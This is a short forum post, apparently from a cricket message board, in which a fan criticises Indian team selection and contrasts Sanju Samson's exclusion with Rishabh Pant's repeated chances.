He has secured the position but the performance is not good accordingly. Such batsmen have to play an important role when the team is in danger. Players like Sanju Samson don't get a chance in the team but players like Rishabh Pant who failed repeatedly are getting chances. Only the Indian team selectors can say whether they believe in selecting certain players or looking for good performers.
Pages: « 1 ... 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 [61] 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 ... 214 »
Powered by MySQL Powered by PHP Powered by SMF 1.1.19 | SMF © 2006-2009, Simple Machines Valid XHTML 1.0! Valid CSS!